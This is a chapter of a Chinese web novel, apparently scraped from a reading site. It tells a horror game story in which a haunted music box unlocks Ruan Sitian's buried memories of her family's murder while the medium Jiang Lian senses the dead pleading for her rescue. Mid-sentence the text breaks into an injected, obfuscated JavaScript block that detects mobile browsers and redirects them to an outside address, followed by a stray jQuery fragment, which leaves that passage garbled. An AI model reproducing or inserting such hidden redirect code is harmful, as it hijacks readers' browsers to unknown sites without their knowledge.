默认冷灰
24号文字
方正启体

34. 心跳百分百(三十四)

作者:小茶微甜本书字数:K更新时间:
    江敛的大脑一片空白。


    此前,他对阮思甜有同情,有关怀,但总感觉隔了一层什么。


    而在这一刻,他深刻地意识到,她并不仅仅只是一个npc,而是一个有血有肉的人。


    活生生的人!


    她有自己的喜怒哀乐,也有自己的情绪反应,甚至可以说有自己的人生,而不是他江敛说什么你未婚夫是怪物,他明天要杀掉你,对方就会大惊失色!


    而他现在说的这些,足以颠覆她此前平稳的生活!


    江敛呆呆地,在那一刻甚至不知道该说什么,只是眼神中流露出强烈的难过和无奈。


    他为她感到难过,却又无能为力。


    语言所能起到的作用实在有限。


    阮思甜静静地看着他,看懂了他眼中的情绪,大为恼火。


    此刻,她的短刀就架在她的脖子上,再往前一分,就能干脆利落地结束他的生命。


    但她并不能这样做。


    杀人犯法不说,而且极为低效,并不能达到她的目的。


    大喜大悲之后,他渐渐处于一个放松的状态,那一刻她瞅准时机,立刻让他面对死亡的威胁。


    极端的情绪有很高的概率能让人吐露真相,或者通过身体真实的反应泄露出一些蛛丝马迹,可江敛并没有。


    她清晰地意识到,眼前这个青年发自内心地相信他所说的一切。


    可恶,那些心怀歹意的人,到底从哪找来这么一个脑回路清奇的货色?


    这样的人并不会权衡现实的利弊,对他自己那一套深信不疑,他们到底是怎么给他洗脑的?


    如果是在以往,阮思甜倒是不介意与他周旋一二,慢慢地应付他。


    但今天不知道怎么回事,她自己的情绪也很不对劲,甚至听到他那些离谱到极点的话时,自己内心也开始产生一丝动摇。


    于是她决定采取稍微有那么一点极端的措施。


    江敛无措地看着阮思甜,阮思甜压抑着怒火看着他,局面一时陷入僵持的状态。


    遇事不决怎么办?


    就在阮思甜想要不要给他两拳时,一段奇妙的旋律突兀地响起。


    “叮叮咚咚……”


    听到这声音的那一刻,江敛的身体一下子僵住了。


    阮思甜敏锐地注意到这一点,她抬起头,发现茶几上没吃完的小蛋糕旁多出了一只八音盒。


    【这鬼东西怎么跟过来了?真缠上灵媒了?】


    【完蛋,这诡异八音盒起码是A级的诡器,而且处于一个失控的状态,现在唯一能和它抗衡的文雪死了,emmm】


    【这新人的运道有点玄,说不定可以活过这个本。】


    【难说,现在离脱离副本还有一小时,这段时间可以发生太多事。】


    音乐声优美动人,在夜色中却怎么听怎么诡异。


    一小片黑影像水那样无声地漫开,小蛋糕立刻被吞没了,音乐声也越来越诡异,阮思甜看了它一眼,毫不犹豫地伸手给了它一下。


    “啪!”


    大胆,居然偷吃她的小蛋糕!


    片刻后,她身体一僵,后知后觉地意识到八音盒居然吃蛋糕???


    这个世界是彻底癫狂了吗!!!还是说,精神病也能通过对话传染?


    被这么一敲,原本诡异化的八音盒居然一顿,火速合上了盖子。


    【这诡器在干吗?】


    【可能在憋什么坏水,这东西挺狡诈的,之前潜伏在小屋门口对文雪他们搞偷袭。】


    【我怎么觉得单纯是被敲蒙了?那一下听着就很痛。】


    【哈?你在说什么鬼话?】


    阮思甜干脆把它拎了起来,左看右看,而对方一动不动,彷佛真的只是一个普通物件。


    难道她真的因为婚前焦虑而精神失常了?


    就在她开始怀疑自己时,八音盒忽地吐出了一颗草莓。


    阮思甜:……


    江敛:……


    直播间众生物:……


    *


    不知道是不是错觉,她总觉得这东西在贼眉鼠眼地观察她。


    “小白?你是小白的八音盒吧?”


    身份被识破后,它颤抖了一下。


    “别装了,我认出你了!”


    就在阮思甜怀疑它要继续装傻时,它小心翼翼地打开了盖子。


    “叮叮咚咚~~~”


    旋律美妙动人,每一声都很空灵清澈。


    这个行为让她幻视家里那条蠢狗!


    【不是,它到底在干吗?】


    【人类早期驯服野生诡器的珍贵影像?】


    【不是野生,它可能是家养的!】


    【见鬼了,头一次看到欺软怕硬的诡器!】


    【好凶狠的npc!】


    乐曲声中,阮思甜的头很痛,像要裂开了一样,很多被抹去的破碎记忆突然冒了出来。


    “我的狗回来了,看到它的那一刻,我流泪了,连我自己也感觉莫名其妙,这种情绪状态不该出现在我的身上。很奇怪,我记得我在打电话,但是我想不起来。”


    “我好像做了一个梦,梦里我的男朋友成了一个陌生人,他还是他,却又不是他。”


    “周围出现了一些很奇怪的事,徐媛……”


    “很久以前我跟他说过,我做事时不喜欢有人打扰,他很听话,默默记住了这一点,会自己走到一边安静地等待。”


    “他不再腼腆羞涩,以前我靠近他,他都会屏住呼吸,而当我不经意间碰到他的手,或者抱住他,他总会满脸通红不知所措,但现在他变得游刃有余,仿佛我们身份互换,角色对调。”


    “事情变得越来越奇怪,那个游戏……”


    “我的记性变得很差,而且情绪状态也很不对劲,面对他时常常会心跳加速,做出一些奇怪的行为,这是以前从来不会有的事,奇怪,好像我真的爱他一样。”


    “或者那不是爱,据说人类面对恐惧时,也会有类似的反应……”


    *


    那是电脑里一条又一条的信息记录,她什么时候写下这些东西的,她自己怎么不知道?


    这些信息隐藏在办公文件中,伪装成机密而又平庸的商业秘密,也许是她在感到不对劲时记下的。


    然而这些内容全被一股神秘力量抹去了,直到此时,它们再次出现在她的脑海。


    他?陆秋白?陆秋白是谁?


    记忆里那张熟悉的脸再次出现。


    陆秋白,他的名字,她前男友的名字!


    而当这个名字与它真正的主人对应时,过往的那些破碎的画面山呼海啸般袭来,毫不留情地冲刷过她的灵魂。


    淅淅沥沥的雨声中,阮思甜听到了自己的冷笑。


    “你还缠着我干什么?不知道前男友什么意思吗?”


    她的语气几乎可以用刻薄来形容,而面前的少年只是一脸痛苦地站在雨中不肯离去,眼神中满是无声的哀求。


    “小甜……”


    小甜才不会心软,她只是一脸冷漠地看着他。


    后来他终于被赶走了。


    雨越下越大,透着漫天血色。


    阮思甜的头很痛。


    江敛来时,电视被关上了,现在它自己打开了,里面发出讨人厌的窸窸窣窣声。


    “哎呀,仿生人的脑壳被敲碎了呢!还真够忠心的,就这样还想去保护主人。”


    “有什么用呢?还不是都死了!看,血洒得到处都是,跟杀鸡一样!”


    “唉,真可怜呢,一夜之间什么也没有了。”


    “我记得她还有个哥哥来着,哥哥去哪了?”


    “你说哥哥啊,我记得他就在……”


    那一瞬间,综艺上那些人好像在围观着她,对着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178082|193275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她指指点点,发出或同情或幸灾乐祸的声音,而她才是被困在电视里供人消遣取乐的存在。


    看啊,一条至亲惨死的可怜虫!什么也没有了呢!


    听啊,他们死前发出多么悲惨的哀嚎呢!


    阮思甜努力将这些消极的念头排出脑海,集中精神听着他们接下来的对话。


    他在哪里?阮思宁去了哪里?


    可惜声音越来越轻,什么也听不到了。


    不过很快,答案就以另一种方式呈现了。


    从走进这个房子开始,江敛就感受到了一股强烈的死亡气息,那气息被什么东西生生压制了下去,以致于他无法触发灵视状态。


    但当八音盒的乐声响起,一幅幅惨烈到极点的画面如列车呼啸而过,碾过他的脑海。


    红色,到处都是红色。


    那颜色并不热烈喜庆,只令人觉得窒息胆寒。


    她的父母分别在楼上楼下。


    他们不再是活生生的生命,而是变成了冷冰冰的尸体。


    哪怕如此,江敛却还是从亡者的身上感受到了强烈的意念。


    跑啊,小甜!快跑!


    不知不觉中,这份强烈的意念通过江敛的嘴跨越时空呼喊而出。


    少女时期的阮思甜正要推门而入,忽地,她的手停在了门把手上。


    阮思甜猛然回首。


    那张灵动稚嫩的脸,恍惚与多年后那张温婉冷漠的脸重叠。


    “咚、咚、咚!”


    成人阮思甜站在了门边。


    讨厌的熊孩子!她想。


    可是从头到尾都没有乱敲门的熊孩子,江敛只是给了一群普通孩子很多糖,让他们引走那个仿生人。


    那么,敲门的是谁呢?


    “咚、咚、咚!”


    阮思甜看不到,但江敛有一双跨越生死的眼睛,他分明看到,在屋檐下悬挂着一具男性尸体。


    明明没有风,尸体却无风自动。


    “咚、咚、咚!”


    江敛看不清他的脸,却能感受到他身上有一股与他的父母一模一样的意念。


    哪怕已经死去,也要以这种方式提醒妹妹脱离危险。


    快跑啊,小甜!再晚就来不及了!


    快跑啊!!!


    后来小白带着小甜奔跑在雨中,就像那一年他们奔跑在垃圾场的老树下。


    记忆里那片天、那棵树、那座房子是那么美好,坐在树下的少年男女活在最美好的年纪,那么无忧无虑。


    那种极致的干净彷佛让整个世界都安静了下来,世间一片纯白无垢。


    陈野站在门前,脑海中曾有什么一闪而逝,却没能抓住。


    电光火石间,江敛却将一切串联在了一起,找到了打开那扇门真正的钥匙。


    她是那扇门的钥匙!也是这个副本的钥匙!


    “求你了,救救她。”


    “带她走……”


    并非是见到她的第一眼,而是从他踏入时就有这样一个意念,在一步步推动着他往前,可惜那时他并不懂。


    直到一个个人在副本中死去,直到他感知到文雪弥留之际的状态。


    那一瞬间他隐约窥探到了生死之门,隐约明白了生与死之间的奥妙,于是作为灵媒的江敛知道了答案。


    “救救她!”


    “救救她!”


    “救救她,带她走……”


    那是一种远超语言层面的哀求,直击心灵最深处。


    那是一个人对另一个人的担忧与关怀,眷恋与不舍,它悲伤到极致,无奈到极致,彷佛到生命尽头也不能停止。


    每一片砖,每一块瓦,每一根草,每一棵树,无处不在。


    整个星海市都充斥这样的意念,彷佛这座城市还活着、还存在,就为了这么一个目的。


    唯一的目的。


    唯一的意义。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)